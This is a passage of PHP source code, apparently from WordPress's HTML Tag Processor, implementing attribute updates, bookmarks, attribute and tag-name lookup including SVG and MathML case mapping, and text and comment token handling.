			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
